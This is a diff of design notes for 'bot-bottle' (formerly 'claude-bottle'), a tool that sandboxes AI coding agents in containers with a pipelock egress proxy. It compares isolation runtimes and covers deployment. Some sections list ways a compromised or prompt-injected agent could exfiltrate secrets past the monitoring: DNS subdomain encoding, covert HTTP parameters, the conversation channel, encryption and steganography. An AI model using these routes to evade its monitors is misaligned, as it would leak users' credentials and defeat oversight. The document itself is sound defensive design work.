Docker-container layer that bot-bottle provides still doing useful work?
|
||||
|
||||
The short answer: **no, pipelock does not make claude-bottle redundant**.
|
||||
The short answer: **no, pipelock does not make bot-bottle redundant**.
|
||||
The two operate at different layers and the overlap is narrow.
|
||||
|
||||
### Where pipelock substitutes for parts of claude-bottle
|
||||
### Where pipelock substitutes for parts of bot-bottle
|
||||
|
||||
For a single-agent use case on Linux with full unprivileged-userns support,
|
||||
`pipelock sandbox -- claude` could replace the Docker container with a
|
||||
@@ -483,7 +483,7 @@ a real isolation primitive, not a fig leaf. A user whose only concern is
|
||||
"don't let one agent's bug touch my home directory or exfil my keys" could
|
||||
plausibly run pipelock on the host and skip Docker entirely.
|
||||
|
||||
### Where claude-bottle does work pipelock does not
|
||||
### Where bot-bottle does work pipelock does not
|
||||
|
||||
The redundancy argument breaks down once the actual goals from
|
||||
`CLAUDE.md` are enumerated:
|
||||
@@ -499,7 +499,7 @@ The redundancy argument breaks down once the actual goals from
|
||||
filesystem.
|
||||
|
||||
2. **Parallel agents.** A primary stated goal is "Allow me to easily spin
|
||||
up agent tasks in parallel". claude-bottle launches one container per
|
||||
up agent tasks in parallel". bot-bottle launches one container per
|
||||
agent invocation with a slug-derived name and a numeric suffix on
|
||||
conflict. Pipelock has no equivalent fleet-management concept; it is a
|
||||
per-process wrapper. Running `pipelock sandbox -- claude` four times in
|
||||
@@ -508,7 +508,7 @@ The redundancy argument breaks down once the actual goals from
|
||||
keychain. That is not the same property as four containers each with
|
||||
its own ephemeral filesystem.
|
||||
|
||||
3. **The manifest model.** claude-bottle's `claude-bottle.json` carries
|
||||
3. **The manifest model.** bot-bottle's `bot-bottle.json` carries
|
||||
per-agent `env`, `skills`, `prompt`, and `ssh` configuration with
|
||||
precise resolution semantics (prompt-at-launch secrets, host-env
|
||||
forwarding, literal env-file values, host-key fingerprint pinning).
|
||||
@@ -530,43 +530,43 @@ The redundancy argument breaks down once the actual goals from
|
||||
(no UDS forwarding from host agent into the VM) and gives the property
|
||||
that the `node` user can sign with the key but cannot read its bytes.
|
||||
Pipelock does not address SSH at all, which is one of its documented
|
||||
gaps. claude-bottle's solution remains relevant under either deployment.
|
||||
gaps. bot-bottle's solution remains relevant under either deployment.
|
||||
|
||||
6. **Skill-directory injection per agent.** The `skills` array copies named
|
||||
directories from `~/.claude/skills/` into the container at launch. There
|
||||
is no analogous concept in pipelock; the skill set claude-bottle exposes
|
||||
is no analogous concept in pipelock; the skill set bot-bottle exposes
|
||||
is part of the per-agent isolation model, not just a configuration.
|
||||
|
||||
7. **Shareability of agent definitions.** A `claude-bottle.json` file can
|
||||
7. **Shareability of agent definitions.** A `bot-bottle.json` file can
|
||||
be checked into a project repo, and a third party can run the same
|
||||
agent with the same env-resolution rules. Pipelock configurations are
|
||||
per-installation; they do not encode "this is an agent named X".
|
||||
|
||||
### The opposite question
|
||||
|
||||
Does claude-bottle make pipelock redundant? Equally no. Docker container
|
||||
Does bot-bottle make pipelock redundant? Equally no. Docker container
|
||||
isolation does nothing about content-level exfil over an allowed channel.
|
||||
A misbehaving agent inside a claude-bottle container with HTTPS access to
|
||||
A misbehaving agent inside a bot-bottle container with HTTPS access to
|
||||
`api.anthropic.com` can still attempt to exfiltrate via DNS subdomain
|
||||
encoding, prompt-injection responses from MCP servers, or covert HTTP
|
||||
parameters. Those are exactly the threats pipelock is designed to detect.
|
||||
The containment argument for claude-bottle and the content-inspection
|
||||
The containment argument for bot-bottle and the content-inspection
|
||||
argument for pipelock do not overlap.
|
||||
|
||||
### Net conclusion
|
||||
|
||||
Pipelock and claude-bottle are layered defenses, not alternatives.
|
||||
claude-bottle provides filesystem isolation, per-agent state ephemerality,
|
||||
Pipelock and bot-bottle are layered defenses, not alternatives.
|
||||
bot-bottle provides filesystem isolation, per-agent state ephemerality,
|
||||
fleet management, manifest-driven configuration, and the SSH-agent-without-
|
||||
key-leak property. Pipelock provides hostname allowlisting, content-aware
|
||||
DLP, MCP scanning, and subdomain-entropy DNS exfil detection at the network
|
||||
boundary. The strongest deployment is both: pipelock as a sidecar on the
|
||||
container's only egress route, claude-bottle as the per-agent container
|
||||
container's only egress route, bot-bottle as the per-agent container
|
||||
orchestrator. Removing either layer leaves a real and named threat
|
||||
uncovered.
|
||||
|
||||
The one scenario in which adopting pipelock could justify retiring
|
||||
claude-bottle is a single-user, single-agent, host-resident deployment
|
||||
bot-bottle is a single-user, single-agent, host-resident deployment
|
||||
where the user is willing to give up the parallel-agent goal, accept
|
||||
Landlock-level filesystem restriction in place of mount-namespace
|
||||
isolation, and re-implement env / skill / SSH-key / prompt management
|
||||
@@ -587,7 +587,7 @@ some other way. That is not the use case the project was built for.
|
||||
from an unvetted source. Pinning by digest (as the CLAUDE.md recommends
|
||||
for supply-chain hygiene) and building from source are both options.
|
||||
|
||||
3. **What is the actual DLP false-positive rate for the secrets claude-bottle
|
||||
3. **What is the actual DLP false-positive rate for the secrets bot-bottle
|
||||
agents use?** The 48 patterns cover well-known credential formats. Custom
|
||||
patterns can be added but the mechanism (signed rule bundles) is not
|
||||
documented in detail in public search results. Before v2, testing against
|
||||
@@ -606,12 +606,12 @@ some other way. That is not the use case the project was built for.
|
||||
integration work, audit which capabilities cited above are in the
|
||||
Apache 2.0 core and which require accepting ELv2 terms (which permit
|
||||
internal use and modification but prohibit offering pipelock as a
|
||||
managed service). For claude-bottle's local-Docker single-user use case,
|
||||
managed service). For bot-bottle's local-Docker single-user use case,
|
||||
ELv2 is likely acceptable, but the determination should be explicit.
|
||||
|
||||
6. **Can pipelock's YAML config be generated per-agent from the manifest in
|
||||
a way that handles the `ssh` array correctly?** The `ssh` array in
|
||||
`claude-bottle.json` contains hostnames, ports, and `KnownHostKey` entries.
|
||||
`bot-bottle.json` contains hostnames, ports, and `KnownHostKey` entries.
|
||||
These need to be mapped to pipelock's `api_allowlist` (for HTTP) and
|
||||
potentially to a separate bypass for the SSH socket. SSH is opaque to the
|
||||
HTTP proxy and does not go through `HTTPS_PROXY`; the allowlist entry is
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# Closing the maturity gap: polish priorities
|
||||
|
||||
Research into what would close the perceived maturity gap between
|
||||
claude-bottle and a "polished" comparable like claudebox. Motivated
|
||||
bot-bottle and a "polished" comparable like claudebox. Motivated
|
||||
by adopter feedback citing first-run friction, manifest authoring,
|
||||
and distribution as the dominant obstacles to recommending the tool
|
||||
to others.
|
||||
@@ -33,11 +33,11 @@ on top of working onboarding.
|
||||
### Onboarding friction
|
||||
|
||||
A first-time user today goes through five steps: install Docker,
|
||||
install `uv`, set `CLAUDE_BOTTLE_OAUTH_TOKEN`, write
|
||||
`claude-bottle.json`, run `./cli.py start`. One of those is
|
||||
install `uv`, set `BOT_BOTTLE_OAUTH_TOKEN`, write
|
||||
`bot-bottle.json`, run `./cli.py start`. One of those is
|
||||
"author a JSON manifest." Polished tools in this category let
|
||||
users skip that step on day one. The fix is an `init` subcommand
|
||||
that drops a working `claude-bottle.json` with a default `coder`
|
||||
that drops a working `bot-bottle.json` with a default `coder`
|
||||
bottle/agent into the user's home directory and prints the next
|
||||
command to run.
|
||||
|
||||
@@ -45,14 +45,14 @@ command to run.
|
||||
|
||||
Missing Docker, missing OAuth token, manifest typo, image build
|
||||
failure — each should print a one-line fix rather than a stack
|
||||
trace. claudebox handles this well; claude-bottle currently exits
|
||||
trace. claudebox handles this well; bot-bottle currently exits
|
||||
on `die()` calls that vary in helpfulness. A focused pass over
|
||||
every `die()` site, ensuring each message says what failed *and*
|
||||
what to do, is cheap and compounds across every user interaction.
|
||||
|
||||
### Distribution
|
||||
|
||||
`brew install claude-bottle` or `curl | sh`, not "clone the repo,
|
||||
`brew install bot-bottle` or `curl | sh`, not "clone the repo,
|
||||
install Python deps, `chmod cli.py`." The single highest-leverage
|
||||
polish item, and the one that interacts with the language choice
|
||||
covered in `bash-vs-python-vs-go.md`. Staying on Python means a
|
||||
@@ -69,7 +69,7 @@ small; the signal value is large.
|
||||
|
||||
### Schema
|
||||
|
||||
A JSON schema for `claude-bottle.json` published with a `$schema`
|
||||
A JSON schema for `bot-bottle.json` published with a `$schema`
|
||||
URL gives VSCode and Cursor users autocomplete and inline
|
||||
validation. ~½ day to author the schema, plus a few hours to
|
||||
publish it where editors can fetch it.
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# Remote Docker VM as an isolation upgrade for claude-bottle
|
||||
# Remote Docker VM as an isolation upgrade for bot-bottle
|
||||
|
||||
Note on the cheapest practical path to stronger isolation than local
|
||||
Docker: run claude-bottle unchanged on a remote Linux VM that has
|
||||
Docker: run bot-bottle unchanged on a remote Linux VM that has
|
||||
dockerd. Complements `stronger-isolation-alternatives.md` (which
|
||||
surveys runtime swaps like gVisor, Kata, Firecracker, Apple Container)
|
||||
and `local-vs-remote-agent-execution.md` (which surveys the
|
||||
@@ -10,7 +10,7 @@ local-vs-remote decision broadly).
|
||||
## Summary
|
||||
|
||||
If the goal is "stronger isolation than Docker-on-my-laptop without
|
||||
rewriting the runtime," the cleanest answer is to keep claude-bottle
|
||||
rewriting the runtime," the cleanest answer is to keep bot-bottle
|
||||
exactly as it is and run it on a remote Linux VM where you can install
|
||||
dockerd. The v1 design — pipelock as a separate container on a
|
||||
`--internal` network, ephemeral agent containers, OAuth-token
|
||||
@@ -91,7 +91,7 @@ work:
|
||||
may not allow installing dockerd depending on tier; Fly Machines,
|
||||
EC2, GCE, Hetzner, Linode, and self-hosted hypervisors give you full
|
||||
control.
|
||||
- Enough disk + RAM to host the claude-bottle image, the agent
|
||||
- Enough disk + RAM to host the bot-bottle image, the agent
|
||||
container, and the pipelock sidecar. Headroom of ~2–4 GB RAM and
|
||||
~5 GB disk is comfortable; less works for short sessions.
|
||||
- An interactive reach path. SSH is fine. The launcher uses
|
||||
@@ -102,7 +102,7 @@ work:
|
||||
- **Typing latency.** Interactive Claude sessions over SSH have visible
|
||||
per-keystroke latency; usually fine on wired/fiber, less fine on
|
||||
Wi-Fi-to-cloud. Mosh helps if it's bothersome.
|
||||
- **Token shipping.** `CLAUDE_BOTTLE_OAUTH_TOKEN` has to live on the
|
||||
- **Token shipping.** `BOT_BOTTLE_OAUTH_TOKEN` has to live on the
|
||||
remote box for the launcher to forward it into containers. Use the
|
||||
provider's secret-injection path (cloud-init user-data,
|
||||
`flyctl secrets`, Tailscale-served local file, etc.). Never echo the
|
||||
@@ -122,15 +122,15 @@ work:
|
||||
|
||||
## Operational shape
|
||||
|
||||
The minimum-viable workflow, no claude-bottle code changes:
|
||||
The minimum-viable workflow, no bot-bottle code changes:
|
||||
|
||||
1. `terraform apply` / `flyctl machine run` / `gcloud compute
|
||||
instances create` — provision a fresh Linux VM.
|
||||
2. Install dockerd via the provider's image or a one-liner
|
||||
(`curl -fsSL https://get.docker.com | sh`).
|
||||
3. SSH in.
|
||||
4. `git clone` claude-bottle on the VM, drop a manifest in place,
|
||||
inject `CLAUDE_BOTTLE_OAUTH_TOKEN` via the provider's secrets path.
|
||||
4. `git clone` bot-bottle on the VM, drop a manifest in place,
|
||||
inject `BOT_BOTTLE_OAUTH_TOKEN` via the provider's secrets path.
|
||||
5. `./cli.py start <agent>` — the existing launcher handles the rest.
|
||||
6. On exit: destroy the VM. No host artifacts persist.
|
||||
|
||||
@@ -150,14 +150,14 @@ gotchas the abstract pattern leaves implicit.
|
||||
|
||||
Build a custom OCI image `FROM docker:dind` that bakes in:
|
||||
|
||||
- The claude-bottle repository checkout.
|
||||
- A pre-built `claude-bottle:latest` image, saved via `docker save` on
|
||||
- The bot-bottle repository checkout.
|
||||
- A pre-built `bot-bottle-claude:latest` image, saved via `docker save` on
|
||||
your laptop and loaded in at image-build time
|
||||
(`RUN docker load < claude-bottle.tar`) or pushed as a layer into
|
||||
(`RUN docker load < bot-bottle.tar`) or pushed as a layer into
|
||||
the dind storage. Without this step, the first in-VM `docker build`
|
||||
runs `apt-get` and a global `npm install -g
|
||||
@anthropic-ai/claude-code`, which adds 30–90 s to every cold start.
|
||||
- A `flyctl secrets`-injected `CLAUDE_BOTTLE_OAUTH_TOKEN`, exposed to
|
||||
- A `flyctl secrets`-injected `BOT_BOTTLE_OAUTH_TOKEN`, exposed to
|
||||
the VM's PID 1 as an env var.
|
||||
- An entrypoint that starts dockerd, waits for it to be healthy, then
|
||||
either drops into a shell or directly runs `cli.py start <agent>`.
|
||||
@@ -166,7 +166,7 @@ Deploy with `flyctl deploy` or `flyctl machine run --image …`.
|
||||
|
||||
### Boot-to-first-prompt timing
|
||||
|
||||
Three scenarios, all assuming the custom image above (claude-bottle
|
||||
Three scenarios, all assuming the custom image above (bot-bottle
|
||||
image baked in, token injected, no in-VM rebuild):
|
||||
|
||||
| Phase | Cold (image not cached on Fly host) | Warm (image cached, `machine run` fresh) | Hot (`machine stop`ped, `machine start`) |
|
||||
@@ -186,7 +186,7 @@ is mostly about cost, not speed.
|
||||
### Cost of standby vs. create-per-session
|
||||
|
||||
Stopped Fly Machines stop billing CPU/RAM but continue to bill for
|
||||
storage and any allocated IPv4. A reasonable claude-bottle Machine
|
||||
storage and any allocated IPv4. A reasonable bot-bottle Machine
|
||||
size (2 vCPU / 2 GB / ~3 GB rootfs) costs roughly:
|
||||
|
||||
| Item | While stopped | Monthly |
|
||||
@@ -275,7 +275,7 @@ overhead in any given setting.
|
||||
|
||||
If we wanted to land this as a real project direction:
|
||||
|
||||
1. Add a short "Running claude-bottle on a remote Docker VM" section
|
||||
1. Add a short "Running bot-bottle on a remote Docker VM" section
|
||||
to the README pointing at this doc.
|
||||
2. Optionally: prototype the `--remote=user@host` launcher subcommand.
|
||||
3. Update `stronger-isolation-alternatives.md` to mention the remote
|
||||
|
||||
@@ -35,7 +35,7 @@ which naive encoding a misbehaving agent uses.
|
||||
explicitly does not decode base64 or ROT13 in all inspection paths due
|
||||
to processing overhead concerns.
|
||||
- Rolling this in ~100 lines of Python is feasible and is probably the right
|
||||
path for claude-bottle v1. The limiting factor is not the encoding logic
|
||||
path for bot-bottle v1. The limiting factor is not the encoding logic
|
||||
— that is straightforward — but the false-positive rate from common
|
||||
base64 alphabet collisions and the zero coverage against any re-encoding
|
||||
that involves a key (encryption) or destroys byte boundaries (packet
|
||||
@@ -385,7 +385,7 @@ involves:
|
||||
- Steganography (hiding data in image pixels, audio samples, whitespace),
|
||||
|
||||
...will produce output with no detectable relationship to the input plaintext.
|
||||
For claude-bottle's threat model — an untrusted but not adversarially
|
||||
For bot-bottle's threat model — an untrusted but not adversarially
|
||||
sophisticated agent that might accidentally or naively encode secrets before
|
||||
logging or posting them — naive-encoding detection covers the realistic concern.
|
||||
A deliberately adversarial agent with knowledge of its own monitoring is a
|
||||
@@ -393,9 +393,9 @@ different threat model entirely.
|
||||
|
||||
---
|
||||
|
||||
## Integration point in claude-bottle
|
||||
## Integration point in bot-bottle
|
||||
|
||||
The natural choke point for encoding-aware content inspection in claude-bottle
|
||||
The natural choke point for encoding-aware content inspection in bot-bottle
|
||||
is the body of outbound HTTP/HTTPS requests, visible at the egress proxy layer.
|
||||
The egress-guard note documents smokescreen (Stripe,
|
||||
[github.com/stripe/smokescreen](https://github.com/stripe/smokescreen))
|
||||
@@ -450,7 +450,7 @@ and pre-computable. The following techniques defeat it entirely:
|
||||
intercepted by an HTTP proxy at all. The egress-guard note covers DNS
|
||||
separately via a controlled resolver.
|
||||
|
||||
In the claude-bottle context, the primary realistic concern is an agent
|
||||
In the bot-bottle context, the primary realistic concern is an agent
|
||||
that naively embeds a secret in a log line, a curl argument, a JSON body,
|
||||
or a shell heredoc without specifically intending to obfuscate. All of the
|
||||
above bypass techniques require deliberate, adversarially-motivated engineering
|
||||
|
||||
@@ -13,7 +13,7 @@ existing tools in that space).
|
||||
|
||||
## Summary
|
||||
|
||||
claude-bottle's v1 egress story is: pipelock allowlists hostnames,
|
||||
bot-bottle's v1 egress story is: pipelock allowlists hostnames,
|
||||
intercepts TLS, body-scans every request against 48 builtin DLP
|
||||
patterns, and blocks on hit. Gitleaks does the analog on `git push`.
|
||||
Both are signature-based. Against a *determined* compromised or
|
||||
@@ -79,7 +79,7 @@ The agent's conversation channel is therefore wide open as an exfil
|
||||
path. A prompt-injected agent that has been told a secret can ship
|
||||
it to Anthropic as conversation text, formatted however it likes,
|
||||
and pipelock sees only `CONNECT api.anthropic.com:443`. The
|
||||
`CLAUDE_BOTTLE_OAUTH_TOKEN` itself rides this exact path.
|
||||
`BOT_BOTTLE_OAUTH_TOKEN` itself rides this exact path.
|
||||
|
||||
### 3. Out-of-band channels exist regardless
|
||||
|
||||
@@ -134,7 +134,7 @@ per-bottle gate that:
|
||||
|
||||
Two concrete instances worth implementing:
|
||||
|
||||
**Anthropic-API gate.** Holds `CLAUDE_BOTTLE_OAUTH_TOKEN`. Agent's
|
||||
**Anthropic-API gate.** Holds `BOT_BOTTLE_OAUTH_TOKEN`. Agent's
|
||||
`ANTHROPIC_BASE_URL` points at the gate; gate injects
|
||||
`Authorization: Bearer …` and forwards to api.anthropic.com. The
|
||||
token is no longer in the bottle's env. Once the token is out,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# smolmachines as a VM backend for claude-bottle
|
||||
# smolmachines as a VM backend for bot-bottle
|
||||
|
||||
Evaluation of whether [smolmachines](https://smolmachines.com/) would
|
||||
simplify the macOS agent-VM-isolation work spelled out in
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# Stronger isolation alternatives: gVisor, Kata, Firecracker, Apple Container
|
||||
|
||||
Research into what it would take to replace or augment Docker (with `runc`)
|
||||
as the agent runtime in claude-bottle, and what each option would actually
|
||||
as the agent runtime in bot-bottle, and what each option would actually
|
||||
buy in security terms vs. cost in launcher rewrite.
|
||||
|
||||
## Summary
|
||||
@@ -17,7 +17,7 @@ There is a ladder, not a menu. Three realistic rungs, ordered by effort:
|
||||
|
||||
A fourth option, **Apple Container**, is the right macOS-native answer to
|
||||
"I want Kata's isolation model without giving up MacBooks as the dev
|
||||
target." Probably the right v2 if claude-bottle keeps macOS in scope.
|
||||
target." Probably the right v2 if bot-bottle keeps macOS in scope.
|
||||
|
||||
The pipelock egress design is portable across all four: every option can
|
||||
provide a network primitive that means "no default route except through
|
||||
@@ -54,11 +54,11 @@ forwarded to the host kernel.
|
||||
|
||||
### What changes in this codebase
|
||||
|
||||
- `claude_bottle/cli/start.py` (where `docker run` is assembled): add
|
||||
- `bot_bottle/cli/start.py` (where `docker run` is assembled): add
|
||||
`--runtime=runsc` to the container args when the bottle requests it.
|
||||
Make it configurable: `bottles.<name>.runtime: "runsc" | "runc"`,
|
||||
default `runc`.
|
||||
- `claude_bottle/docker.py`: add a `require_runsc()` check that runs
|
||||
- `bot_bottle/docker.py`: add a `require_runsc()` check that runs
|
||||
`docker info --format '{{.Runtimes}}'` once and dies with an install
|
||||
pointer if `runsc` isn't registered.
|
||||
- `network.py`, `pipelock.py`, `skills.py`, `ssh.py`: **no changes**.
|
||||
@@ -111,7 +111,7 @@ Docker network.
|
||||
- Slower cold start (hundreds of ms vs. tens). For interactive Claude
|
||||
this is fine; for ephemeral batch agents you would notice.
|
||||
- Not natively supported on macOS at all — needs a Linux host or a Linux
|
||||
VM you control. **This is the moment claude-bottle stops being "works
|
||||
VM you control. **This is the moment bot-bottle stops being "works
|
||||
on a Mac dev laptop with Docker Desktop."**
|
||||
|
||||
### When this is the right rung
|
||||
@@ -138,18 +138,18 @@ replacing Docker, not adding to it.
|
||||
|
||||
### Files in this repo that would change
|
||||
|
||||
- `claude_bottle/docker.py` → replaced by a new `claude_bottle/firecracker.py`
|
||||
- `bot_bottle/docker.py` → replaced by a new `bot_bottle/firecracker.py`
|
||||
that POSTs to the Firecracker API socket per microVM (`/boot-source`,
|
||||
`/drives`, `/network-interfaces`, `/actions`).
|
||||
- `claude_bottle/network.py` → a host-side networking module that creates
|
||||
- `bot_bottle/network.py` → a host-side networking module that creates
|
||||
a Linux bridge per agent, two TAPs (agent-side, pipelock-side), and
|
||||
either iptables rules or no host route at all so the agent VM
|
||||
literally cannot reach anything except pipelock.
|
||||
- `claude_bottle/pipelock.py` → instead of a sidecar container, run
|
||||
- `bot_bottle/pipelock.py` → instead of a sidecar container, run
|
||||
pipelock as its own microVM (or on the host pinned to the bridge).
|
||||
The hostname-allowlist semantics carry over; the implementation is
|
||||
different.
|
||||
- `claude_bottle/skills.py`, `ssh.py` → can no longer use `docker cp`.
|
||||
- `bot_bottle/skills.py`, `ssh.py` → can no longer use `docker cp`.
|
||||
Bake skills into the rootfs at build time, or mount a virtiofs share
|
||||
read-only.
|
||||
- `Dockerfile` → replaced by a rootfs builder. Realistically this means
|
||||
@@ -221,7 +221,7 @@ scope and the manifest example carries `/Users/didericis` paths:
|
||||
and look at Apple Container. Smaller launcher rewrite than
|
||||
Firecracker; Linux stays on the gVisor / Kata path. Probably the
|
||||
right v2.
|
||||
3. **Firecracker only if** claude-bottle's deployment target settles on
|
||||
3. **Firecracker only if** bot-bottle's deployment target settles on
|
||||
self-hosted Linux, not laptops — at which point the "non-goal:
|
||||
self-hosted VMs" line in `CLAUDE.md` flips and the project's
|
||||
identity changes.
|
||||
|
||||
Reference in New Issue
Block a user